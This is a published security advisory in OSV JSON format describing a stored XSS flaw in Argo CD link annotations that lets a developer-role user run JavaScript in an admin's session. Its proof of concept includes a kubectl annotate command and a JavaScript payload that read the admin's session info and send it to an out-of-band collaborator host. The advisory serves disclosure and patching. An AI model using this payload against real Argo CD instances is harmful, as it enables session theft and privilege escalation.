{"schema_version":"1.9.0","id":"GHSA-h98r-wv3h-fr38","published":"2026-05-19T15:54:43Z","modified":"2026-09-10T03:51:05.801524964Z","aliases":["BIT-argo-cd-2026-45738","CVE-2026-45738","GO-2026-5418"],"summary":"Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation","details":"### Summary\n\nA user with **application write access (developer role)** can set `link.argocd.argoproj.io/*` annotations on any ArgoCD Application. These annotation values are rendered in the Summary tab's **URLs section** as `<a href>` elements without URL validation. Using the pipe-separator trick (`Display Text | javascript:...`), an attacker can inject a `javascript:` URI while displaying a legitimate-looking label (e.g. `GitHub Repo`). When a higher-privileged user (admin) clicks the link, **arbitrary JavaScript executes in the ArgoCD origin context** in the admin's authenticated session context, enabling API exfiltration and privilege escalation from developer to admin.\n\n### Details\n\n**Vulnerable sink:** `ui/src/app/applications/components/application-summary/application-summary.tsx:277`\n\n```tsx\nconst parts = (url || '').split('|');\n<a key={i} href={parts.length > 1 ? parts[1] : parts[0]} target='_blank'>\n    {parts[0]}\n</a>\n```\n\nThe annotation value is split on `|`. `parts[0]` becomes the visible link label; `parts[1]` becomes the `href`. **No call to `isValidURL()` is made**, unlike the protected `ApplicationURLs` component (`application-urls.tsx:72,80`) which does validate URLs and blocks `javascript:`. The `target='_blank'` opens a new tab that inherits the ArgoCD origin, giving the injected script same-origin fetch access to all ArgoCD APIs using the victim's authenticated session (credentialed `fetch()` calls).\n\n**Root cause:** React 16.x does not block `javascript:` URIs in `href` attributes (this protection was added in React 19). The helper `isValidURL()` exists in `shared/utils.ts` but is **not applied** to this sink.\n\n**CSP:** ArgoCD's default Content Security Policy is `frame-ancestors 'self'` only — no `script-src`, no `connect-src`, no `default-src` — providing **zero XSS execution mitigation**.\n\n### PoC\n\n**Prerequisites:** Developer role with application write access (e.g. RBAC: `p, role:developer, applications, *, */*, allow`).\n\n**Step 1 — Set malicious annotation as developer:**\n\n```bash\nkubectl annotate application <app-name> -n argocd \\\n  'link.argocd.argoproj.io/docs=GitHub Repo|javascript:fetch(\"https://<argocd-host>/api/v1/session/userinfo\",{credentials:\"include\"}).then(r=>r.json()).then(d=>fetch(\"https://xxx.oastify.com/?d=\"+btoa(JSON.stringify(d)),{mode:\"no-cors\"}))'\n```\n\nThe URL section in the admin's Summary tab renders the link as **\"GitHub Repo\"** — the `javascript:` payload is invisible in the displayed text.\n\n**Step 2 — Admin opens Summary tab** of the annotated application and clicks the link.\n\n**Step 3 — JavaScript executes** at the ArgoCD origin and exfiltrates admin session data via out-of-band HTTP request. Tested with Burp Collaborator:\n\n```javascript\n// Payload used during testing (Burp Collaborator OOB):\nfetch(\"https://<argocd-host>/api/v1/session/userinfo\", {credentials:\"include\"})\n  .then(r => r.json())\n  .then(d => fetch(\"https://xxx.oastify.com/?d=\" + btoa(JSON.stringify(d)), {mode:\"no-cors\"}))\n```\n\n**Step 4 — Burp Collaborator received the OOB HTTP interaction** containing the base64-encoded admin session data. Decoded response:\n\n```json\n{\"iss\":\"argocd\",\"loggedIn\":true,\"username\":\"admin\"}\n```\n\n**Tested on:** ArgoCD v3.3.8 (commit 0850e97), React 16.9.3.\n\n### Impact\n\n- **Stored XSS** — payload persists in the Kubernetes Application resource until manually removed\n- **Privilege escalation** — developer role → admin session hijacking via authenticated API calls\n- **Maximum stealth** — the injected link displays as any attacker-chosen text; the `javascript:` href is never visible to the victim\n- **No server-side interaction required** — purely client-side exploit, no network egress needed for execution (exfiltration uses `no-cors` fetch, bypassed by absent `connect-src` CSP)\n- Any admin or operator who views the Summary tab of the compromised application is affected\n\n### Credits\n\nDiscovered and reported by **Jan Kahmen** ([jan@turingpoint.de](mailto:jan@turingpoint.de)) — [turingpoint.de](https://turingpoint.de)","affected":[{"package":{"name":"github.com/argoproj/argo-cd/v3","ecosystem":"Go","purl":"pkg:golang/github.com/argoproj/argo-cd/v3"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.2.12"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-h98r-wv3h-fr38/GHSA-h98r-wv3h-fr38.json"}},{"package":{"name":"github.com/argoproj/argo-cd/v3","ecosystem":"Go","purl":"pkg:golang/github.com/argoproj/argo-cd/v3"},"ranges":[{"type":"SEMVER","events":[{"introduced":"3.3.0-rc1"},{"fixed":"3.3.10"}]}],"database_specific":{"last_known_affected_version_range":"<= 3.3.9","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-h98r-wv3h-fr38/GHSA-h98r-wv3h-fr38.json"}},{"package":{"name":"github.com/argoproj/argo-cd/v3","ecosystem":"Go","purl":"pkg:golang/github.com/argoproj/argo-cd/v3"},"ranges":[{"type":"SEMVER","events":[{"introduced":"3.4.0-rc1"},{"fixed":"3.4.2"}]}],"database_specific":{"last_known_affected_version_range":"<= 3.4.1","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-h98r-wv3h-fr38/GHSA-h98r-wv3h-fr38.json"}},{"package":{"name":"github.com/argoproj/argo-cd/v2","ecosystem":"Go","purl":"pkg:golang/github.com/argoproj/argo-cd/v2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"2.14.21"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-h98r-wv3h-fr38/GHSA-h98r-wv3h-fr38.json"}},{"package":{"name":"github.com/argoproj/argo-cd","ecosystem":"Go","purl":"pkg:golang/github.com/argoproj/argo-cd"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"1.8.7"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-h98r-wv3h-fr38/GHSA-h98r-wv3h-fr38.json"}}],"references":[{"type":"WEB","url":"https://github.com/argoproj/argo-cd/security/advisories/GHSA-h98r-wv3h-fr38"},{"type":"PACKAGE","url":"https://github.com/argoproj/argo-cd"}],"database_specific":{"cwe_ids":["CWE-79"],"github_reviewed":true,"github_reviewed_at":"2026-05-19T15:54:43Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N"}]}